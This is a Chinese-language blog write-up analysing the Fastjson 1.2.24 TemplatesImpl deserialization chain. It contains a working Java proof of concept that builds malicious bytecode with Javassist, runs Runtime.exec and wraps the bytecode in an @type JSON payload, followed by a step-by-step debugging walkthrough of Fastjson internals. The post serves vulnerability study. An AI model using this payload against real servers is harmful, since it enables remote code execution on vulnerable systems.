TemplatesImpl利用链
FastJson利用链
Fastjson的版本在1.2.22-1.2.24主要有两条链利用TemplatsImpl和JdbcRowSetImpl利用链先来学习TemplatsImpl利用链,这个与前面jdk7u21所用的都是通过defineclass来实例化恶意字节码导致的任意代码执行。
1、漏洞复现
组件依赖版本:
<dependencies>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.10</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
利用链:
- JDK7u21
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
poc
package com.akkacloud.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class fastjsonTest {
public static class test{}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(test.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "akka1" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[] evilCode = cc.toBytecode();
String evilCode_base64 = Base64.encodeBase64String(evilCode);
System.out.println(evilCode_base64);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload =
"{\"" +
"@type\":\"" + NASTY_CLASS + "\"," + "\"" +
"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'asd','" +
"_tfactory':{ },\"" +
"_outputProperties\":{ }," + "\"" +
"_version\":\"1.0\",\"" +
"allowedProtocols\":\"all\"}\n";
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);
}
}
看完poc,有几个问题,希望在调试的过程解决他
1.为什么_bytecodes为什么要base64加密
在执行JSON.parseObject()中,会循环获取所以字段
value = parser.parseObject(clazz, (Object)null);
在com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze方法会调用byteValue方法,跟进去看看
会调用base64解码
2._outputProperties使用来干什么的,用来生成getoutputProperties去调用newTransformer
3.parseObject 为什么要设置Feature.SupportNonPublicField,序列化时用来调用private类型的属性
4._tfactory为什么为{}, 因为在jdk7u21在defineTransletClasses()
时会调用getExternalExtensionsMap()
,当为null时会报错
2、漏洞利用条件
- 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
- 服务端使用parse()时,需要
JSON.parse(text1,Feature.SupportNonPublicField)
3、漏洞调试
我们在parseObject打下断点,我们跟进 parseObject方法
进入input为我们的恶意json字符串代码,第二个是Object的类型,第三个是实例化的ParserConfig,第四个就是序列化时用来调用private类型的属性,进入他的重载方法多了两个参数,一个ParseProcess类型的null,一个是整形的DEFAULT_PARSER_FEATURE(989)
进入到了主要的parseObject方法,首先比较一下featureValues和feature,然后实例化了一个DefaultJSONParser,里面存着我们的input(恶意代码),我们跟进去看
发现继续调用了重载方法,继续跟进
进入DefaultJSONParser发现继续一大堆赋值,我们重点看看lexer,后面会用到,其实lexer是通过new JSONScanner(input, length, features)获取的
我们先看看JSONScanner的构造方法,把input变成了字符串调用了自己的重载方法,
public JSONScanner(char[] input, int inputLength, int features) {
this(new String(input, 0, inputLength), features);
}
然后把input赋值给了this.text,然后调用了next()方法,跟进next方法
拿到;”{“赋值给this.ch,
所以lexer就是一个存储了一个恶意字符串的对象
然后我们继续回到DefaultJSONParser的构造方法,我们跟进lexer.getCurrent()的方法就是用于返回ch的,ch为{
所以进入if,调用lexer的next(),这是后的ch的值为双引号("),我们看重点lexer.token被赋值为了12
我们继续回到Json.class,再一次调用了DefaultJSONParser的parseObject的重载方法,继续跟进去
判断一下token,因为lexer.token()为12.,然后获取一个ObjectDeserializer,derializer去调用deserialze方法,把this穿进去了(恶意代码),跟进去看看
进入来,this被赋值给parser了,判断是不是GenericArrayType类型,我们传入的是Object.class,进入else,当type instanceof Class && type != Object.class && type != Serializable.class为ture则调用parser.parseObject(type) 否则调用parser.parse(fieldName),这里肯定是flase的进入parser.parse(fieldName),因为type 就是Object.class。我们继续跟进
进入他使用了将this.lexer赋值给lexer,就是我们前面分析的DefaultJSONParser的构造方法赋值,且lexer.token()为12.
我们直接看case等于12的,继续跟进this.parseObject((Map)object, fieldName)
因为token等于12,所以进入else,而ch前面分析过为双引号("),所以进入if,调用lexer.scanSymbol方法
先看this.symbolTable,存的是@type,
所以key为@type
然后我们越过else,直接看下面的代码
我们直接来看重点,就是下面这段,判断key是否为@JSON.DEFAULT_TYPE_KEY,这个其实就是@type,然后进入我if。
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
其实我们跟进去发现,他就是一个一个字符串的获取@type字段传入的值,赋值给ref
这是通过TypeUtils.loadClass反射获取类对象clazz,其实就是templatesImpl
然后到了这里,我们跟进this.config.getDeserializer(clazz)clazz就是templateImpl,但是只有明明只,就是ParserConfig
判断是不是Class对象,明显是,继续跟进ParserConfig的this.getDeserializer((Class)type, type);
进入之后我们一步一步往下走。
走到这我们也可以发现class就是我们在@type存入的东西TemplatesImpl
在往下走到这行代码,创建建一个反序列化bean(语译),我们跟进去
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
进去发现对clazz进行一系列判断赋值,继续走
到了beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy),继续跟进
进入到JavaBeanInfo.build,我们挑重点来看
第一个图set
第二个get
@type
拿到类之后,通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取get、set方法
如上图,自动调用set方法的条件是
- 方法名长度大于4
- 非静态方法
- 返回值为void或当前类
- 方法名以set开头
- 参数个数为1
如上图,自动get方法方法的条件是
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong
我们直接看get这里,循环获取方法名getOutputProperties,然后进入循环,然后根据红框,从第四位取起,然后变成小写,
所以propertyName就是outputProperties
然后就是判断fieldList这个数组里面有没有这个方法,没有就把他加进去,再返回JavaBeanInfo
好了现在我们再回到DefaultJSONParser继续调试,此时的JavaBeanDeserializer的deserializer是已经包含了beaninfo(存放了outputproperties),我们跟进deserializer.deserialze(this, clazz, fieldName);
进入com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer的deserialze方法,继续进入两次重载方法
进入到我们的主要函数,我依然看关键节点的数据
第一个可以看出我们的确在this.sortedFieldDeserializers中存入了outputproperties,从构造函数得知this.sortedFieldDeserializers[]就是通过beanInfo赋值得到的。
然后就是循环我们json数据了,太多代码了,我们继续看重点,这里的key就是我们json的第二字段存入的值,如下图,我们跟进去
进入parseField,继续调用了smartMatch,我们继续跟进
进入后判断一下有没有key的fieldDeserializer,如果没有就把_bytecodes替换为bytecodes,
我们继续回到com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer的parseField方法,走到这,继续跟进
进入到com.alibaba.fastjson.parser.deserializer的DefaultFieldDeserializer的parseField方法
我继续走到this.setValue(object, value),此处穿的object是TemplatesImpl ,value为恶意代码类的字节,value就是通过parser读取出来的
继续进入setvalue方法
这个过程会在JavaBeanDeserializer循环进行,知道获取完所有的json字段,直到method != null,我们的json字段中只有_outputProperties符合,成功进入if,然后反射执行,继续跟进几个invoke方法进入到TemplatesImpl
TemplatesImpl调用getOutputProperties--》再调用newTransformer,跟jdk7u21链和cc2链后面一样的,就不继续跟了
4、结束
这次的Fastjson的TemplatesImpl链花费10个小时,一点点跟,了解一些细节,这条链可以说很长,细节也很多,参考了很多大佬的文章。
参考
https://www.cnblogs.com/nice0e3/p/14601670.html#
https://y4er.com/post/fastjson-learn/
TemplatesImpl利用链的更多相关文章
- FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链
0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...
- commons-collections利用链学习总结
目录 1 基础 ConstantTransformer InvokeTransformer ChainedTransformer LazyMap TiedMapEntry TransformingCo ...
- JDK原生反序列化利用链7u21
前言 JDK 7u21以前只粗略的扫过一眼,一看使用了AnnotationInvocationHandler,就以为还是和 CC1 一样差不多的利用方式,但最近仔细看了下利用链发现事情并不简单- 7u ...
- Fastjson JdbcRowSetImpl利用链学习
JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...
- fastjson反序列化-JdbcRowSetImpl利用链
fastjson反序列化-JdbcRowSetImpl利用链 JdbcRowSetImpl利用链 fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs. ...
- Apache Common-collection 反序列化利用链解析--TransformedMap链
Apache Common-collection 反序列化利用链解析 TransformedMap链 参考Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com) poc ...
- 深入剖析CVE-2021-40444-Cabless利用链
背景 CVE-2021-40444为微软MHTML远程命令执行漏洞,攻击者可通过传播Microsoft Office文档,诱导目标点击文档从而在目标机器上执行任意代码.该漏洞最初的利用思路是使用下载c ...
- ThinkPHP5.1 反序列化利用链
笔记里直接复制出来的 1 composer直接获取框架代码 ➜ composer create-project --prefer-dist topthink/think tp5137 ➜ ...
- 利用链式队列(带头节点)解决银行业务队列简单模拟问题(c++)-- 数据结构
题目: 7-1 银行业务队列简单模拟 (30 分) 设某银行有A.B两个业务窗口,且处理业务的速度不一样,其中A窗口处理速度是B窗口的2倍 —— 即当A窗口每处理完2个顾客时,B窗口处理完1个顾客 ...
随机推荐
- Redhat7 安装 yum源(亲测有效)
由于之前安装Redhat7 想安装vsftpd 使用yum install vsftpd 报错: This system is not registered to Red Hat Subscri ...
- Arcmap软件报错:This application cannot run under a virtual machine arcmapr, 但是你并没有使用虚拟机
在任务栏搜索"启用或关闭 windows 功能",取消 "适用于 Linux 的 Windows 子系统" (有可能还需要 取消 "虚拟机平台&quo ...
- 6月4日 python学习总结 装饰器复习
1. 装饰器的原理以及为什么要使用装饰器 在代码运行期间动态增加功能的方式,称之为"装饰器"(Decorator). 在不影响原代码结构的情况下为其添加功能 2. 装饰器的基本 ...
- C 上楼梯 中国石油大学新生训练赛#11
问题 C: 上楼梯 时间限制: 1 Sec 内存限制: 128 MB提交 状态 题目描述 明明上n 级台阶可用四种步幅, 当然每种步幅花费的体力也不一样, 对应关系如下明明开始有m 个体力, 求他最 ...
- 什么是BGP
BGP概述 边界网关协议(BGP)是运行于TCP协议上的一种自治系统的路由协议. 是一种外部路由协议. AS概述 自治系统(AS),指的是同一个使用相同策略的设备的集合. 每个AS有自己位移的编号,不 ...
- synchronized和 synchronized 了解偏向锁、轻量级锁、重量级锁的概念以及升级机制、以及和ReentrantLock的区别。
并发 synchronized 了解偏向锁.轻量级锁.重量级锁的概念以及升级机制.以及和ReentrantLock的区别. https://www.cnblogs.com/deltadeb ...
- System.getenv和getProperty的区别
/** * System.getenv()是获取---环境变量(environment variables), * 系统层面的,好比我linux系统里的.bash_profile文件里面的变量 * 返 ...
- DRF 简单使用(详细注释版)
1.djangorestframework使用 下载安装 pip install djangorestframework ## djangorestframework pip install djan ...
- 学习zabbix(九)
一.Zabbix环境准备 [root@linux-node1 ~]# cat /etc/redhat-release CentOS Linux release 7.4.1708 (Core) [roo ...
- java中的VO、PO、BO、DAO、POJO
针对java工程里的各种带O的对象,进行分析,了解各自的作用. PO: persistent object,持久对象.与数据库里表字段一一对应.PO是一些属性,以及set和get方法组成.一般情况下 ...